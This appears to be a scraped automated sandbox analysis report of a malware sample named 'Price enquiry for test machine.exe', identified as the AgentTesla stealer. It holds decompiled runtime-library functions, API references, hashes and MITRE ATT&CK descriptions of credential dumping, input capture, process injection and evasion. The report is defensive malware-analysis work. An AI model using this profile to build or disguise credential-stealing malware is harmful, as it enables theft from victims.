0x00408241
0x0040824d
0x00408250
0x00408253
0x0040825a
0x00408262
0x00408265
0x0040826b
0x00408271
0x00408276
0x00408278
0x0040827b
0x00408280
0x0040828a
0x00408291
0x00408294
0x0040829b
0x004082a2
0x004082ce
0x004082f4
0x004082f6
0x00000000
0x004082d0
0x004082d3
0x0040839a
0x004083a6
0x004083b1
0x004083b6
0x004082d9
0x004082e0
0x004082e5
0x004082eb
0x004082f1
0x00000000
0x004082f1
0x004082eb
0x004082d3
0x004082a4
0x004082a8
0x004082ab
0x004082b1
0x004082b3
0x004082b6
0x004082ba
0x004082f7
0x004082fa
0x004082fb
0x00408300
0x00408306
0x0040830c
0x0040831b
0x00408321
0x00408327
0x0040832c
0x00408348
0x004083bb
0x004083c1
0x0040834a
0x00408352
0x0040835b
0x00408361
0x00000000
0x00408363
0x00408365
0x00408368
0x00408381
0x00000000
0x00408383
0x00408387
0x00408389
0x0040838c
0x00000000
0x0040838c
0x00408387
0x00408381
0x00408361
0x0040835b
0x00408348
0x0040832c
0x00408306
0x00000000
0x0040838f
0x0040838f
0x004083c3
0x004083cd
0x004083d5

APIs

GetConsoleCP.KERNEL32(?,00000000,?,?,?,?,?,?,?,00408998,?,00000000,?,00000000,00000000), ref: 00408265
__fassign.LIBCMT ref: 004082E0
__fassign.LIBCMT ref: 004082FB
WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000001,?,00000005,00000000,00000000), ref: 00408321
WriteFile.KERNEL32(?,?,00000000,00408998,00000000,?,?,?,?,?,?,?,?,?,00408998,?), ref: 00408340
WriteFile.KERNEL32(?,?,00000001,00408998,00000000,?,?,?,?,?,?,?,?,?,00408998,?), ref: 00408379

Memory Dump Source

Source File: 00000001.00000001.287702890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: FileWrite__fassign$ByteCharConsoleMultiWide
String ID:
API String ID: 1324828854-0
Opcode ID: 6526cd7982371344a6a1e48cd2b7cf140f34c910ae76ba14c8618a3c70808cc2
Instruction ID: d35ea3bc0149cbeaf608d2e35f82b202305ea3b4574a465905668c698b2cd014
Opcode Fuzzy Hash: 6526cd7982371344a6a1e48cd2b7cf140f34c910ae76ba14c8618a3c70808cc2
Instruction Fuzzy Hash: 2751C070900209EFCB10CFA8D985AEEBBF4EF49300F14816EE995F3391DA349941CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00403632, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 38
libraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 27%

			E00403632(void* __ecx, intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				signed int _t10;
				int _t12;
				int _t18;
				signed int _t20;

				_t10 =  *0x412014; // 0x1055ab70
				_v8 = _t10 ^ _t20;
				_v12 = _v12 & 0x00000000;
				_t12 =  &_v12;
				__imp__GetModuleHandleExW(0, L"mscoree.dll", _t12, __ecx, __ecx);
				if(_t12 != 0) {
					_t12 = GetProcAddress(_v12, "CorExitProcess");
					_t18 = _t12;
					if(_t18 != 0) {
						E0040C15C();
						_t12 =  *_t18(_a4);
					}
				}
				if(_v12 != 0) {
					_t12 = FreeLibrary(_v12);
				}
				E004018CC();
				return _t12;
			}

0x00403639
0x00403640
0x00403643
0x00403647
0x00403652
0x0040365a
0x00403665
0x0040366b
0x0040366f
0x00403676
0x0040367c
0x0040367c
0x0040367e
0x00403683
0x00403688
0x00403688
0x00403693
0x0040369b

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,?,?,?,00403627,00000003,?,004035C7,00000003,00410EB8,0000000C,004036DA,00000003,00000002), ref: 00403652
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00403665
FreeLibrary.KERNEL32(00000000,?,?,?,00403627,00000003,?,004035C7,00000003,00410EB8,0000000C,004036DA,00000003,00000002,00000000), ref: 00403688

Strings

mscoree.dll, xrefs: 0040364B
CorExitProcess, xrefs: 0040365D

Memory Dump Source

Source File: 00000001.00000001.287702890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 829d2906a4e1aa3164176bf7ab706f29f81f0af0ee9c7b1f46b6600de564c79c
Instruction ID: 2a5f1b52f49e2644cdc997ca28138b4c7ff7fe3d24fc8903f8dd75b8825c5772
Opcode Fuzzy Hash: 829d2906a4e1aa3164176bf7ab706f29f81f0af0ee9c7b1f46b6600de564c79c
Instruction Fuzzy Hash: D7F0A431A0020CFBDB109FA1DD49B9EBFB9EB04711F00427AF805B22A0DB754A40CA98

Uniqueness

Uniqueness Score: -1.00%

Function 004062B8, Relevance: 7.6, APIs: 5, Instructions: 110
COMMON

Download Yara Rule

C-Code - Quality: 79%

			E004062B8(void* __edx, void* __eflags, intOrPtr _a4, int _a8, char* _a12, int _a16, short* _a20, int _a24, intOrPtr _a28) {
				signed int _v8;
				int _v12;
				char _v16;
				intOrPtr _v24;
				char _v28;
				void* _v40;
				void* __ebx;
				void* __edi;
				signed int _t34;
				signed int _t40;
				int _t45;
				int _t52;
				void* _t53;
				void* _t55;
				int _t57;
				signed int _t63;
				int _t67;
				short* _t71;
				signed int _t72;
				short* _t73;

				_t34 =  *0x412014; // 0x1055ab70
				_v8 = _t34 ^ _t72;
				_push(_t53);
				E00403F2B(_t53,  &_v28, __edx, _a4);
				_t57 = _a24;
				if(_t57 == 0) {
					_t52 =  *(_v24 + 8);
					_t57 = _t52;
					_a24 = _t52;
				}
				_t67 = 0;
				_t40 = MultiByteToWideChar(_t57, 1 + (0 | _a28 != 0x00000000) * 8, _a12, _a16, 0, 0);
				_v12 = _t40;
				if(_t40 == 0) {
					L15:
					if(_v16 != 0) {
						 *(_v28 + 0x350) =  *(_v28 + 0x350) & 0xfffffffd;
					}
					E004018CC();
					return _t67;
				}
				_t55 = _t40 + _t40;
				_t17 = _t55 + 8; // 0x8
				asm("sbb eax, eax");
				if((_t17 & _t40) == 0) {
					_t71 = 0;
					L11:
					if(_t71 != 0) {
						E00402460(_t67, _t71, _t67, _t55);
						_t45 = MultiByteToWideChar(_a24, 1, _a12, _a16, _t71, _v12);
						if(_t45 != 0) {
							_t67 = GetStringTypeW(_a8, _t71, _t45, _a20);
						}
					}
					L14:
					E004063D5(_t71);
					goto L15;
				}
				_t20 = _t55 + 8; // 0x8
				asm("sbb eax, eax");
				_t47 = _t40 & _t20;
				_t21 = _t55 + 8; // 0x8
				_t63 = _t21;
				if((_t40 & _t20) > 0x400) {
					asm("sbb eax, eax");
					_t71 = E00403E3D(_t63, _t47 & _t63);
					if(_t71 == 0) {
						goto L14;
					}
					 *_t71 = 0xdddd;
					L9:
					_t71 =  &(_t71[4]);
					goto L11;
				}
				asm("sbb eax, eax");
				E004018E0();
				_t71 = _t73;
				if(_t71 == 0) {
					goto L14;
				}
				 *_t71 = 0xcccc;
				goto L9;
			}

0x004062c0
0x004062c7
0x004062ca
0x004062d3
0x004062d8
0x004062dd
0x004062e2
0x004062e5
0x004062e7
0x004062e7
0x004062ec
0x00406305
0x0040630b
0x00406310
0x004063af
0x004063b3
0x004063b8
0x004063b8
0x004063cc
0x004063d4
0x004063d4
0x00406316
0x00406319
0x0040631e
0x00406322
0x0040636e
0x00406370
0x00406372
0x00406377
0x0040638e
0x00406396
0x004063a6
0x004063a6
0x00406396
0x004063a8
0x004063a9
0x00000000
0x004063ae
0x00406324
0x00406329
0x0040632b
0x0040632d
0x0040632d
0x00406335
0x00406352
0x0040635c
0x00406361
0x00000000
0x00000000
0x00406363
0x00406369
0x00406369
0x00000000
0x00406369
0x00406339
0x0040633d
0x00406342
0x00406346
0x00000000
0x00000000
0x00406348
0x00000000

APIs

MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,?,00000000,00000000,00000100,?,00000000,?,?,00000000), ref: 00406305
__alloca_probe_16.LIBCMT ref: 0040633D
MultiByteToWideChar.KERNEL32(?,00000001,?,?,00000000,?), ref: 0040638E
GetStringTypeW.KERNEL32(?,00000000,00000000,?), ref: 004063A0
__freea.LIBCMT ref: 004063A9

Part of subcall function 00403E3D: RtlAllocateHeap.NTDLL(00000000,?,00000004,?,00407C67,?,00000000,?,004067DA,?,00000004,?,?,?,?,00403B03), ref: 00403E6F

Memory Dump Source

Source File: 00000001.00000001.287702890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ByteCharMultiWide$AllocateHeapStringType__alloca_probe_16__freea
String ID:
API String ID: 313313983-0
Opcode ID: 3668a24b8cc91a8edc8bb6444902db7ad8a914eb3222a5b1c35fe0f4f695b84c
Instruction ID: a1348b344bfdb8beedea85c2379656fd8e164ea4191dcb9080565a587d22e55f
Opcode Fuzzy Hash: 3668a24b8cc91a8edc8bb6444902db7ad8a914eb3222a5b1c35fe0f4f695b84c
Instruction Fuzzy Hash: AE31B072A0020AABDF249F65DC85DAF7BA5EF40310B05423EFC05E6290E739CD65DB94

Uniqueness

Uniqueness Score: -1.00%

Function 00405751, Relevance: 6.1, APIs: 4, Instructions: 52
libraryCOMMON

Download Yara Rule

C-Code - Quality: 95%

			E00405751(signed int _a4) {
				signed int _t9;
				void* _t13;
				signed int _t15;
				WCHAR* _t22;
				signed int _t24;
				signed int* _t25;
				void* _t27;

				_t9 = _a4;
				_t25 = 0x412fc8 + _t9 * 4;
				_t24 =  *_t25;
				if(_t24 == 0) {
					_t22 =  *(0x40cd48 + _t9 * 4);
					_t27 = LoadLibraryExW(_t22, 0, 0x800);
					if(_t27 != 0) {
						L8:
						 *_t25 = _t27;
						if( *_t25 != 0) {
							FreeLibrary(_t27);
						}
						_t13 = _t27;
						L11:
						return _t13;
					}
					_t15 = GetLastError();
					if(_t15 != 0x57) {
						_t27 = 0;
					} else {
						_t15 = LoadLibraryExW(_t22, _t27, _t27);
						_t27 = _t15;
					}
					if(_t27 != 0) {
						goto L8;
					} else {
						 *_t25 = _t15 | 0xffffffff;
						_t13 = 0;
						goto L11;
					}
				}
				_t4 = _t24 + 1; // 0x1055ab71
				asm("sbb eax, eax");
				return  ~_t4 & _t24;
			}

0x00405756
0x0040575a
0x00405761
0x00405765
0x00405773
0x00405789
0x0040578d
0x004057b6
0x004057b8
0x004057bc
0x004057bf
0x004057bf
0x004057c5
0x004057c7
0x00000000
0x004057c8
0x0040578f
0x00405798
0x004057a7
0x0040579a
0x0040579d
0x004057a3
0x004057a3
0x004057ab
0x00000000
0x004057ad
0x004057b0
0x004057b2
0x00000000
0x004057b2
0x004057ab
0x00405767
0x0040576c
0x00000000

APIs

LoadLibraryExW.KERNEL32(00000000,00000000,00000800,00000000,00000000,00000000,?,004056F8,00000000,00000000,00000000,00000000,?,004058F5,00000006,FlsSetValue), ref: 00405783
GetLastError.KERNEL32(?,004056F8,00000000,00000000,00000000,00000000,?,004058F5,00000006,FlsSetValue,0040D200,0040D208,00000000,00000364,?,004043F2), ref: 0040578F
LoadLibraryExW.KERNEL32(00000000,00000000,00000000,?,004056F8,00000000,00000000,00000000,00000000,?,004058F5,00000006,FlsSetValue,0040D200,0040D208,00000000), ref: 0040579D

Memory Dump Source

Source File: 00000001.00000001.287702890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: LibraryLoad$ErrorLast
String ID:
API String ID: 3177248105-0
Opcode ID: 179fc24cb71fa7b74b78db1aa8efd8080a6824dbe4e2c3e4e777693639d287a7
Instruction ID: a071a87d579bf16c10ed97f701b3afe57148fc5a73c01e838bdae708b7fec84a
Opcode Fuzzy Hash: 179fc24cb71fa7b74b78db1aa8efd8080a6824dbe4e2c3e4e777693639d287a7
Instruction Fuzzy Hash: 2001AC36612622DBD7214BA89D84E577BA8EF45B61F100635FA05F72C0D734D811DEE8

Uniqueness

Uniqueness Score: -1.00%

Function 00404320, Relevance: 6.0, APIs: 4, Instructions: 50
COMMON

Download Yara Rule

C-Code - Quality: 71%

			E00404320(void* __ebx, void* __ecx, void* __edx) {
				void* __edi;
				void* __esi;
				intOrPtr _t2;
				void* _t3;
				void* _t4;
				intOrPtr _t9;
				void* _t11;
				void* _t20;
				void* _t21;
				void* _t23;
				void* _t25;
				void* _t27;
				void* _t29;
				void* _t31;
				void* _t32;
				long _t36;
				long _t37;
				void* _t40;

				_t29 = __edx;
				_t23 = __ecx;
				_t20 = __ebx;
				_t36 = GetLastError();
				_t2 =  *0x412064; // 0xffffffff
				_t42 = _t2 - 0xffffffff;
				if(_t2 == 0xffffffff) {
					L2:
					_t3 = E00403ECE(_t23, 1, 0x364);
					_t31 = _t3;
					_pop(_t25);
					if(_t31 != 0) {
						_t4 = E004058CE(_t25, __eflags,  *0x412064, _t31);
						__eflags = _t4;
						if(_t4 != 0) {
							E00404192(_t25, _t31, 0x4132a4);
							E00403E03(0);
							_t40 = _t40 + 0xc;
							__eflags = _t31;
							if(_t31 == 0) {
								goto L9;
							} else {
								goto L8;
							}
						} else {
							_push(_t31);
							goto L4;
						}
					} else {
						_push(_t3);
						L4:
						E00403E03();
						_pop(_t25);
						L9:
						SetLastError(_t36);
						E00403E8B(_t20, _t29, _t31, _t36);
						asm("int3");
						_push(_t20);
						_push(_t36);
						_push(_t31);
						_t37 = GetLastError();
						_t21 = 0;
						_t9 =  *0x412064; // 0xffffffff
						_t45 = _t9 - 0xffffffff;
						if(_t9 == 0xffffffff) {
							L12:
							_t32 = E00403ECE(_t25, 1, 0x364);
							_pop(_t27);
							if(_t32 != 0) {
								_t11 = E004058CE(_t27, __eflags,  *0x412064, _t32);
								__eflags = _t11;
								if(_t11 != 0) {
									E00404192(_t27, _t32, 0x4132a4);
									E00403E03(_t21);
									__eflags = _t32;
									if(_t32 != 0) {
										goto L19;
									} else {
										goto L18;
									}
								} else {
									_push(_t32);
									goto L14;
								}
							} else {
								_push(_t21);
								L14:
								E00403E03();
								L18:
								SetLastError(_t37);
							}
						} else {
							_t32 = E00405878(_t25, _t45, _t9);
							if(_t32 != 0) {
								L19:
								SetLastError(_t37);
								_t21 = _t32;
							} else {
								goto L12;
							}
						}
						return _t21;
					}
				} else {
					_t31 = E00405878(_t23, _t42, _t2);
					if(_t31 != 0) {
						L8:
						SetLastError(_t36);
						return _t31;
					} else {
						goto L2;
					}
				}
			}

0x00404320
0x00404320
0x00404320
0x0040432a
0x0040432c
0x00404331
0x00404334
0x00404342
0x00404349
0x0040434e
0x00404351
0x00404354
0x00404366
0x0040436b
0x0040436d
0x00404378
0x0040437f
0x00404384
0x00404387
0x00404389
0x00000000
0x00000000
0x00000000
0x00000000
0x0040436f
0x0040436f
0x00000000
0x0040436f
0x00404356
0x00404356
0x00404357
0x00404357
0x0040435c
0x00404397
0x00404398
0x0040439e
0x004043a3
0x004043a6
0x004043a7
0x004043a8
0x004043af
0x004043b1
0x004043b3
0x004043b8
0x004043bb
0x004043c9
0x004043d5
0x004043d8
0x004043db
0x004043ed
0x004043f2
0x004043f4
0x004043ff
0x00404405
0x0040440d
0x0040440f
0x00000000
0x00000000
0x00000000
0x00000000
0x004043f6
0x004043f6
0x00000000
0x004043f6
0x004043dd
0x004043dd
0x004043de
0x004043de
0x00404411
0x00404412
0x00404412
0x004043bd
0x004043c3
0x004043c7
0x0040441a
0x0040441b
0x00404421
0x00000000
0x00000000
0x00000000
0x004043c7
0x00404428
0x00404428
0x00404336
0x0040433c
0x00404340
0x0040438b
0x0040438c
0x00404396
0x00000000
0x00000000
0x00000000
0x00404340

APIs

GetLastError.KERNEL32(?,?,004037D2,?,?,004016EA,00000000,?,00410E40), ref: 00404324
SetLastError.KERNEL32(00000000,?,?,004016EA,00000000,?,00410E40), ref: 0040438C
SetLastError.KERNEL32(00000000,?,?,004016EA,00000000,?,00410E40), ref: 00404398
_abort.LIBCMT ref: 0040439E

Memory Dump Source

Source File: 00000001.00000001.287702890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: ErrorLast$_abort
String ID:
API String ID: 88804580-0
Opcode ID: 748d6134d9c6c0cb73fdca7d7eb4e83c201390a1d6e057c9cacbb9a7c1b02d9b
Instruction ID: 10f1ed76ee289f7058500775698c1b2aead1ecf844b9f3100802fdeea25ad27f
Opcode Fuzzy Hash: 748d6134d9c6c0cb73fdca7d7eb4e83c201390a1d6e057c9cacbb9a7c1b02d9b
Instruction Fuzzy Hash: 75F0A976204701A6C21237769D0AB6B2A1ACBC1766F25423BFF18B22D1EF3CCD42859D

Uniqueness

Uniqueness Score: -1.00%

Function 004025BA, Relevance: 6.0, APIs: 4, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E004025BA() {
				void* _t4;
				void* _t8;

				E00402AE5();
				E00402A79();
				if(E004027D9() != 0) {
					_t4 = E0040278B(_t8, __eflags);
					__eflags = _t4;
					if(_t4 != 0) {
						return 1;
					} else {
						E00402815();
						goto L1;
					}
				} else {
					L1:
					return 0;
				}
			}

0x004025ba
0x004025bf
0x004025cb
0x004025d0
0x004025d5
0x004025d7
0x004025e2
0x004025d9
0x004025d9
0x00000000
0x004025d9
0x004025cd
0x004025cd
0x004025cf
0x004025cf

APIs

___vcrt_initialize_pure_virtual_call_handler.LIBVCRUNTIME ref: 004025BA
___vcrt_initialize_winapi_thunks.LIBVCRUNTIME ref: 004025BF
___vcrt_initialize_locks.LIBVCRUNTIME ref: 004025C4

Part of subcall function 004027D9: ___vcrt_InitializeCriticalSectionEx.LIBVCRUNTIME ref: 004027EA

___vcrt_uninitialize_locks.LIBVCRUNTIME ref: 004025D9

Memory Dump Source

Source File: 00000001.00000001.287702890.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000001.287742408.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CriticalInitializeSection___vcrt____vcrt_initialize_locks___vcrt_initialize_pure_virtual_call_handler___vcrt_initialize_winapi_thunks___vcrt_uninitialize_locks
String ID:
API String ID: 1761009282-0
Opcode ID: 25f408f13cbe0c40dd9f497db491c4efe3e5092114ef2f2bbff8929357b925fc
Instruction ID: 4128bea016199bb2a2d03f508bec19fe8aa18f4adc422371eefe93b2158e2da6
Opcode Fuzzy Hash: 25f408f13cbe0c40dd9f497db491c4efe3e5092114ef2f2bbff8929357b925fc
Instruction Fuzzy Hash: E0C0024414014264DC6036B32F2E5AA235409A63CDBD458BBA951776C3ADFD044A553E

Uniqueness

Uniqueness Score: -1.00%

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to achieve execution. WMI is a Windows administration feature that provides a uniform environment for local and remote access to Windows system components. It relies on the WMI service for local and remote access and the server message block (SMB) and Remote Procedure Call Service (RPCS) for remote access. RPCS operates over port 135.
Tactics:	Execution
Data Sources:	Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	API monitoring, Binary file metadata, DLL monitoring, Kernel drivers, Loaded DLLs, PowerShell logs, Process command-line parameters, Process monitoring, User interface, Windows Registry, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report Price enquiry for test machine.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Agenttesla

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

Key, Mouse, Clipboard, Microphone and Screen Capturing:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Rich Headers

Data Directories

Sections

Resources

Imports

Possible Origin

Network Behavior

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

DNS Answers

SMTP Packets

Function 004030FB, Relevance: 80.8, APIs: 26, Strings: 20, Instructions: 315
stringfilecomCOMMON

Function 004054BD, Relevance: 21.2, APIs: 9, Strings: 3, Instructions: 156
filestringCOMMON

Function 004061D4, Relevance: 5.4, APIs: 4, Instructions: 382
COMMONCrypto

Function 00405E93, Relevance: 3.0, APIs: 2, Instructions: 14
fileCOMMON

Function 00403981, Relevance: 58.1, APIs: 32, Strings: 1, Instructions: 345
windowstringCOMMON

Function 004035EB, Relevance: 47.5, APIs: 13, Strings: 14, Instructions: 215
stringregistryCOMMON

Function 00402C55, Relevance: 26.4, APIs: 5, Strings: 10, Instructions: 182
COMMON

Function 00401751, Relevance: 15.9, APIs: 5, Strings: 4, Instructions: 147
stringtimeCOMMON

Function 00402E8E, Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 166
fileCOMMON

Function 00405346, Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 39
COMMON

Function 00405EBA, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 36
libraryCOMMON

Function 0040589E, Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 32
COMMON

Function 00401F84, Relevance: 6.1, APIs: 4, Instructions: 73
libraryloaderCOMMON

Function 004015B3, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66
COMMON

Function 00406609, Relevance: 5.2, APIs: 4, Instructions: 236
COMMON

